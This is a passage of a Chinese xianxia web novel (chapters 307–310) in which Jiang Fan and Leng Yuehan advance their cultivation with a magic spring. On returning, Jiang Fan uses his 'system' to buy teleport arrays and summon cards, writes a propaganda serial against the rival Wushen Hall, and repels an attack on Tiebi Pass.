“原来如此…难怪夏侯尊那老鬼如此疯狂,不惜一切代价也要得到这‘源生仙泉’!”
江凡缓缓睁开双眼,眸中精光湛湛,仿佛有日月星辰在其中生灭。
他感受着体内澎湃的力量,心中明悟。
这仙泉对他这等根基雄厚的修士都有如此神效,若是给夏侯尊那等卡在劫境大圆满的老怪物使用,恐怕真的能助其打破桎梏,甚至立地成仙也未必没有可能!
这绝对是足以让任何修士疯狂的逆天机缘!
他看向对面的冷月寒。
只见她双目微闭,俏脸晕红,周身被浓郁的灵雾包裹。
她的气息也在飞速攀升,原本只是宗师境界的修为,此刻如同坐火箭般蹿升——陆地神仙中期、后期、巅峰…
最终,在一声轻微的清鸣中,一股独属于劫境强者的威压从她身上弥漫开来。
虽然略显虚浮,但确确实实是劫境一重的气息!
而且,她周身的玄阴之气变得异常精纯、温顺,再无之前那种不受控制、反噬自身的迹象。
反而与她的身体、神魂完美融合,仿佛成为了她力量的一部分,如臂使指。
玄阴神体的隐患,彻底解决!
而且因祸得福,借助‘源生仙泉’的力量,一举踏入了无数修士梦寐以求的劫境!
虽然只是初入,根基需要时间打磨,但这已经是天大的造化!
似乎是感应到江凡的目光,冷月寒也缓缓睁开了美眸。
那双原本就如秋水寒星般的眸子,此刻更是清澈深邃,眼波流转间,自有一股清冷出尘的气质。
她看着江凡,感受到他体内那浩瀚如海的强大气息,眼中充满了欣喜与柔情。
“夫君,你的伤…都好了?修为也…”
她轻声问道,声音都似乎空灵了几分。
第308章 高级的道具
“嗯,全好了,而且因祸得福,突破到了劫境六重。”
江凡微笑点头,握住她的手,仔细感应了一番,松了口气,
“你的玄阴神体也彻底稳固了,修为更是直达劫境,太好了!月寒,恭喜你!”
冷月寒脸上绽开绝美的笑颜,但随即又被担忧取代:
“夫君,我们在此耽搁了至少一个多时辰,武神殿的人肯定在疯狂搜寻我们。而且…
夏侯尊没能得到仙泉,暴怒之下,恐怕会迁怒大夏,迁怒璇月姐姐她们!我们必须立刻赶回去!”
江凡神色一凛,眼中寒光闪烁:
“不错!那老匹夫心胸狭隘,睚眦必报,此番吃了如此大亏,必定不会善罢甘休!大夏有危险!”
两人再无暇享受仙泉余韵,迅速起身,以真气蒸干衣物。
江凡心念一动,将剩余的‘源生仙泉’连同青玉浴桶一起,小心地收回系统空间。
这可是救命和提升修为的至宝,绝不能浪费。
辨明方向,江凡揽住冷月寒的腰肢,化作一道淡金色流光,朝着大夏皇朝的方向疾掠而去!
速度之快,远超来时,几乎达到了日行数**的恐怖程度!
……
大夏皇朝,帝都,皇宫深处。
御书房内,气氛凝重。
女帝萧璇月一身明黄龙袍,端坐于龙椅之上,绝美的容颜此刻布满冰霜,凤眸之中寒光闪烁。
手中紧握着一份刚刚由影卫以最快速度送来的加急密报。
柳絮、周婉如、塔娜、江芷兰等女,以及江撼岳、云暮等核心心腹,皆肃立在下,人人脸色凝重,隐隐带着惊怒。
“武神殿…终于还是撕破脸了。”
萧璇月的声音冰冷,打破了压抑的沉默,
“边境三州十七城,同时遭遇不明身份高手袭击,守军将领、朝廷派驻的修士供奉死伤惨重,疑似有陆地神仙以上的强者出手!
各地暗桩也传来消息,武神殿麾下及其附属势力,正在大规模调动,目标直指我大夏!夏侯尊…他这是要发动全面战争!”
“欺人太甚!”
江撼岳须发皆张,一掌拍在身旁的紫檀木桌案上,将其拍得粉碎,
“我儿在秘境与他们争夺机缘,各凭本事!他们行此卑劣报复之举,对无辜城池百姓下手,算什么武学圣地!简直是一群无耻强盗!”
“爹,现在说这些无益。”
江芷兰虽也愤怒,但更显冷静,
“当务之急,是应对武神殿的攻势。他们高手众多,底蕴深厚,若全面开战,我大夏…恐难以抗衡。尤其是凡儿和月寒妹妹此刻生死未卜…”
提到江凡和冷月寒,所有人的心都揪紧了。
秘境凶险,武神殿更是虎视眈眈,他们二人如今情况如何?
萧璇月深吸一口气,强迫自己冷静下来,她是女帝,是所有人的主心骨,此刻绝不能乱:
“国公所言极是,武神殿此举,已是丧心病狂。传朕旨意:一,边境遇袭城池,立即启动最高警戒,所有军队进入战备状态,开启备用防御阵法,百姓向内陆疏散。
二,供奉阁所有修士,除必要留守帝都者,全部前往边境支援。三,暗卫全部出动,严密监控武神殿及其附属势力动向。
四,发布全国动员令,征调各州府精锐兵力、修士,驰援边境!”
一道道命令有条不紊地下达,显示出一代女帝的果决与魄力。
然而,众人眉宇间的忧色并未散去。
武神殿的顶尖高手,尤其是夏侯尊,若亲自出手,大夏拿什么抵挡?
就在这时,殿外忽然传来一阵细微的空间波动,以及影卫带着惊喜的禀报声:
“启禀陛下!帝君!是帝君和月寒姑娘!他们回来了!”
“什么?!”
殿内众人又惊又喜,霍然起身。
下一刻,两道身影已出现在御书房内,正是风尘仆仆的江凡与冷月寒!
“凡儿!”
“夫君!”
“月寒妹妹!”
众人惊呼,连忙围了上来。
萧璇月更是直接从龙椅上站起,快步走到江凡面前,也顾不得女帝威仪,上下打量着他。
见他虽然衣衫有些破损,但气息雄浑,目光炯炯,不
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仅无恙,反而比离去时强大了不知多少,一直紧绷的心弦终于稍松。
“璇月,爹,芷兰姐,柳絮,婉如,塔娜,云暮,我回来了。”
江凡看着一张张熟悉而关切的面孔,心中暖流涌过,但形势危急,容不得过多温情,他言简意赅,
“长话短说,秘境之行,我与月寒已取得‘源生仙泉’,月寒体质隐患已解,修为俱有突破。
但彻底与夏侯尊及武神殿撕破脸,他们未能得手,必会疯狂报复。边境之事,我已感知,是武神殿动手了。”
“回来就好!回来就好!”
江撼岳老怀大慰,用力拍了拍江凡的肩膀,感受到儿子体内那深不可测的力量,更是惊喜。
萧璇月则抓住了关键:“你们没事便好。武神殿来势汹汹,夏侯尊可能亲自出手,我们…”
“无妨。”江凡眼中寒光一闪,语气斩钉截铁,
“兵来将挡,水来土掩!夏侯尊若敢来,我必让他有来无回!当务之急,是提升我方整体实力,并做好全面防御。”
他看向萧璇月等人,沉声道:
“璇月,你们几人都已达到陆地神仙境,根基稳固。我这里有‘源生仙泉’,可助你们快速提升修为,甚至冲击劫境!”
不等众人从这惊喜中反应过来,他继续道:
“爹,国公爵府目标太大,不够安全。您立刻带着府中核心家眷全部搬入皇宫深处,与璇月一起,我会在皇宫布下最强防御。皇宫有大夏历代积累的龙脉大阵守护,相对安全。”
江撼岳深知此时不是客气的时候,果断点头:
“好!爹听你的!”
江凡心念沟通系统界面,目光飞速扫过可兑换列表。
人气值在秘境中消耗巨大,之前突破到劫境六重又用掉两亿。
好在现在人气值每时每刻都在海量提升,目前又有了五千多万。
实力达到劫境之后,商城又多了几样物品。
之前没有时间查看,现在正好看看能不能应付眼前的危机。
很快,他的眼神就亮了起来,里面果然有几样高级道具。
第309章 长舒一口气
【劫境召唤卡(初级)可召唤一位劫境高手。存在时间10天,最高修为劫境五重,兑换价格一千万人气值。】
【定向传送阵盘:输入真气激活,可瞬间传送至预设对应阵盘位置,最大传送距离一州之地。兑换价格一百万人气值。】
这两件物品绝对能解除眼前的燃眉之急,只可惜人气值还不够。
但按照现在人气值增长的速度,最多晚上就能积攒到上亿。
“系统,兑换【定向传送阵盘】x30!”
【叮!消耗人气值3000万点!获得定向传送阵盘x30。】
“云暮!”
江凡看向一旁的云暮。
“帝君请吩咐!”云暮肃然拱手。
“这是传送阵盘,分为十五对,你派人以最快速度,将其中一半分别布置在四大边关重镇、帝都、以及各州战略要地、重要资源点。
一旦某处遭遇强敌袭击,持有对应阵盘者立即输入真气激活,支援力量便能瞬间传送过去!”
江凡将阵盘交给云暮,语速极快,思路清晰。
云暮接过这闻所未闻的奇物,心中震撼于帝君手段通天,但更多的是信心大增,躬身领命:
“是!臣即刻去办!”
“还有,”江凡看向萧璇月,
“璇月,你之前说继续推进‘深宫秘恋’话本,为我增加人气,此事至关重要,务必加大力度,以最快速度传遍大夏每一个角落!我需要更多的人气值来兑换资源,应对此劫!”
萧璇月重重点头:“夫君放心,我已下令,动用所有官方渠道、民间书坊、说书艺人,全力推广最新的话本章节,务必让大夏子民,人尽皆知!”
江凡点点头,随即又看向系统界面。
人气值只剩两千多万,必须开源。
他仔细查看,果然在【作品管理】-《深宫秘恋》栏目下,发现了一个新功能:
【作品扩散】——支付一定人气值,可将宿主创作的最新章节内容,以十倍于当前自然传播速度的效率,向更广阔地域进行扩散传播。
每次使用消耗人气值:1000000点。效果持续时间:一个自然日。
“十倍扩散?超出当前流传范围?”
江凡眼睛一亮!
这功能简直是雪中送炭!
如今话本主要在大夏境内流传,若能扩散到周边诸国,甚至更远的地方,那人气值的增长将是海量!
虽然每次要一百万,但绝对值得一试!
尤其是在这急需人气值兑换保命底牌的关键时刻!
“今晚更新话本时,就试试这个功能!”
江凡心中定计。
他需要更多的人气值,来兑换更强大的召唤卡、更高级的阵盘、甚至…更厉害的保命或杀敌手段!
夏侯尊和武神殿,不会给他太多时间。
安排完这些,江凡不再犹豫,对萧璇月、柳絮、周婉如、塔娜、江芷兰,以及江撼岳、云暮道:
“事不宜迟,我现在就取出‘源生仙泉’,你们立即用它浸泡修炼,以最快速度提升实力!能提升多少是多少!武神殿的报复,可能随时会以最猛烈的方式到来!”
说罢,他心念一动,将那珍贵的青玉浴桶再次移出。
这一次,他不再吝啬,决定让所有核心成员都使用,包括他自己也需要巩固刚刚突破的境界。
看着那散发着磅礴生机与灵韵的仙泉,众人无不精神大振,眼中燃起斗志。
他们知道,接下来将是一场硬仗,多一分实力,便多一分保障,多一分保护家园、保护所爱之人的希望!
皇宫深处,防御最强的密室被紧急启用,布下层层禁制。
江凡、萧璇月、柳絮、周婉如、塔娜、江芷兰、江撼岳、云暮,以及少数几位绝对忠诚的皇室供奉、国公府心腹,分批进入密室,借助‘源生仙泉’开始争分夺秒的修炼提升。
乳白色的雾气氤氲,精纯的能量弥漫。
每一个人都深知肩上的重担,屏息凝神,全力吸收炼化。
大夏皇朝,这台庞大的战争机器,在江凡回归后,开始以前所未有的效率高速运转起来,准备迎接来自武神殿的滔**火与血腥报复。
而江凡,在安排完一切、并亲自监督第一轮修炼后,独自回到了御书房隔壁专为他准备的静室。
他需要一点时间,来更新那能带来人气值的话本,并尝试那新发现的【作品扩散】功能。
摊开特制的、不易损毁的灵纸,提起蕴含灵气的墨笔,江凡深吸一口气,将脑海中早已构思好的、更加跌宕起伏、爱恨纠葛的深宫情节,娓娓
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道来。
笔下生花,情节勾人心魄。
他知道,这不仅仅是一个故事,更是他此刻,对抗强敌、守护一切的重要力量源泉之一。
夜色渐深,大夏帝都灯火阑珊,暗流汹涌。
静室之内,江凡伏案疾书,笔走龙蛇。
他写的,是《深宫秘恋》最新篇章,也是他精心策划的、针对武神殿的‘**战’关键一环。
在这一篇章中,他不再局限于大夏皇宫内的爱恨情仇,而是将视角拉大,引入了一个笼罩在整个‘大乾王朝’上空的终极反派势力——六神殿。
在他的笔下,六神殿神秘、古老、强大,却并非守护大陆的正义组织,而是野心勃勃、视苍生为蝼蚁的邪恶存在。
殿主‘夏侯弱’被塑造成一个内心扭曲、为达目的不择手段的枭雄。
他修炼邪功,吞噬生灵精血魂魄延长寿命、提升修为;
他暗中操控各国朝政,挑起战争,以亿万生灵的死亡与怨气来炼制邪恶法宝;
他更在暗中谋划一个惊天阴谋——以整个大陆的生灵为祭品,献祭给某种不可名状的‘古魔’,以换取自身突破界限、成就‘永恒神主’之位!
而主角林枫与英明果决、心怀天下的大乾女帝携手对抗六神殿的渗透与阴谋。
江凡写得极为投入,他将自己对夏侯尊和武神殿的厌恶、警惕,以及大夏目前面临的危机,都倾注于笔端。
“…是夜,朔风凛冽,黑云压城。‘六神殿’三大‘幽冥使者’携万千魔傀,兵临‘天风关’下,关内守军不过三千,百姓惶惶。‘林枫’白衣如雪,独立城头,面对滔天魔焰,只对身后满脸忧色的女帝微微一笑:
‘陛下勿忧,魑魅魍魉,何足道哉?且看臣,为陛下,为这关内十万生灵,斩妖除魔!’言罢,剑出如龙,光照百里…”
写至酣处,江凡自己都觉胸中豪气激荡。
他不仅要以此稳定大夏民心,凝聚斗志,更要借此机会,彻底败坏武神殿和夏侯尊在大陆其他势力、乃至普通民众心中的形象!
当所有人都将武神殿视为邪恶、灾祸的代名词时,他们再想动员附属势力,或获得道义支持,将难上加难。
写完最新一章的最后一个字,江凡搁下笔,长舒一口气。
第310章 劫境召唤卡
没有过多犹豫,如今人气值就是战力,就是生存的保障,必须尽快扩大影响力。
“系统,对《深宫秘恋》使用【作品扩散】(初级)功能!”
【叮!消耗人气值100万点!作品扩散(初级)功能启动!开始对《深宫秘恋》全本内容进行十倍速率扩散,扩散范围将超出当前主要流传区域,随机覆盖至周边及更远地域的智慧生灵**区。
扩散形式:完整书籍实体投放。扩散过程不可逆,效果持续:一个自然日。】
一百万点人气值瞬间扣除,但江凡毫不心疼。
他紧张地关注着系统的反馈,心中充满期待。
片刻之后,并无什么惊天动地的异象,但系统界面微微一闪,提示扩散已开始。
江凡能感觉到,冥冥之中,似乎有无数无形的种子,承载着他刚刚写的故事,朝着大夏疆域之外,朝着更遥远的国度、部落、宗门、乃至海外岛屿…飞散而去。
这些‘种子’落地之后,会根据当地的环境和文明形式,悄然‘生长’为一本本书籍。
它们可能出现在某个小国都城最繁华的书店货架显眼处,可能变成某个游商行囊中不小心多出来的货物,可能化作某个宗门藏书阁角落里突然多出的一枚古朴玉简。
甚至可能直接出现在某位爱好阅读的隐士高人的书桌上…
江凡不知道具体会扩散到哪里,扩散多少份,但他相信系统‘十倍速率’的描述。
这意味着,从明天开始,不仅仅是数百万、上千万的大夏子民,很可能会有数千万的生灵,有机会接触到这个故事。
“希望…能有效果。”
江凡低声自语。
**的种子已经撒下,接下来,就是等待它生根发芽,逐渐影响人心,并最终反馈为海量人气值的时候了。
做完这一切,已是后半夜。
江凡感到一阵精神上的疲惫。
他没有立刻去休息,而是盘膝坐下,开始运转**,巩固刚刚突破的修为。
就在天色将亮未亮的时刻,他放置在西北边境‘铁壁关’的那枚子阵盘,传来了急促的预警波动!
有强大的能量冲击触发了阵盘的被动防御警报!
江凡瞬间睁开双眼,眸中寒光一闪。
他没有惊动正在密室中刻苦修炼的萧璇月等人,身形一晃,已从静室中消失。
下一刻,他出现在皇宫深处另一间布有传送阵的密室,毫不犹豫地将真气注入手中对应的传送阵盘。
银光一闪,空间转换。
……
铁壁关,大夏西北门户,城墙高厚,以往主要防御西陲的游牧部落和零散马匪。
此刻,关城上空,却弥漫着浓重的血腥味。
关墙多处破损,守军死伤枕藉,关内不少建筑燃起大火,哭喊声、厮杀声不绝于耳。
袭击者并非大军,而是数十名服饰各异、但气息强横的修士!
他们最低也是宗师修为,更有十余名大宗师,领头的三人,赫然是陆地神仙境界!
他们在关城内肆意杀戮守军将领、低阶修士,破坏防御设施,显然是有备而来,目标明确——制造混乱,瘫痪这座边关重镇!
“武神殿的走狗!你们当真要与我大夏不死不休吗?!”
镇守此关的一名大夏老将,浑身浴血,手持断刀,怒视着空中一名正在凝聚巨大火球的陆地神仙初期老者,声音嘶哑。
“不死不休?哼,大夏帝君江凡,胆大包天,竟敢在秘境中抢夺我主上看中之物,伤我殿中长老!今日,便是尔等付出代价的开始!灭了你铁壁关,只是开胃小菜!”
那陆地神仙老者狞笑一声,手中火球膨胀到房屋大小,散发出灼热高温,就要朝着下方人群最密集处砸落!
“是吗?那你就先付出代价吧。”
一个不带丝毫情感的声音,突兀地在老者身后响起。
老者骇然色变,想也不想,将手中火球向后甩出,同时身形急退!
然而,一只缠绕着淡金色劫力的手掌,已后发先至,轻易地穿透了他仓促布下的护体罡气,捏住了他的脖颈。
“咔嚓!”
清脆的骨裂声响起,老者眼中的惊骇瞬间凝固,头颅以一个诡异的角度耷拉下来,气息全无。
那房屋大小的火球失去控制,在半空中无声无息地湮灭消散,仿佛从未存在过。
江凡的身影出现在半空,随手将那老者的尸体丢下,目光扫过下方瞬间陷入死寂的战场。
“帝…帝君?!”
那名大夏老将激动得浑身颤抖,几乎不敢相信自己的眼睛。<
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br>“犯我大夏者,死。”
江凡的声音不大,却清晰地传入战场每一个人的耳中,带着审判意味。
他没有丝毫停顿,身形再动。
咻!咻!咻!
三道指风射出,精准地没入另外两名正在别处肆虐的陆地神仙眉心。
两人身体一僵,眼中神采迅速黯淡,从空中栽落。
紧接着,江凡并指如剑,对着下方那些惊骇欲绝的宗师、大宗师,凌空一划!
“嗤——!”
一道长达百丈的剑气横空出世,扫过人群!
所过之处,无论是护体罡气、防御法宝尽皆破碎!
惨叫声戛然而止,超过二十名武神殿附属势力的高手,在这一剑之下,化为漫天血雾,形神俱灭!
从江凡出现,到三名陆地神仙毙命,二十余名高手陨落,不过短短三息时间!
铁壁关上空的肆虐者,为之一清!
剩下的零星几人,早已吓得魂飞魄散,连滚爬地朝着关外逃去,只恨爹娘少生了两条腿。
江凡并未追击这些小喽啰。
他悬浮空中,看着下方逐渐被控制住的火势,以及开始救治伤员、收拢队伍的守军,脸色依旧冰冷。
这只是开始,武神殿的报复,绝不会只有这种程度。
他们是在试探,是在消耗,是在逼迫他四处救火,疲于奔命。
他抬手一挥,数道精纯的劫力化为甘霖,洒落在一些受伤较重的将士身上,稳住他们的伤势。
随即,他心念沉入系统。
一亿零三百五十万!
经过一夜的发酵,人气值再次突破一亿大关!
而且还在快速增长!
看来【作品扩散】的效果已经开始显现,否则单凭大夏境内,很难在半夜有如此增长。
“很好!”
江凡眼中精光一闪,有了底气。
“系统,兑换【劫境召唤卡】(初级)x10!”
【叮!消耗人气值100,000,000点!获得劫境召唤卡x10。】
一亿人气值瞬间蒸发,但他获得了十张召唤卡!
这意味着十位可以在关键时刻出现、存在十天的劫境五重战力!
虽然只是初级,存在时间短,修为固定,但用来镇守关键节点、应对突发袭击,绰绰有余!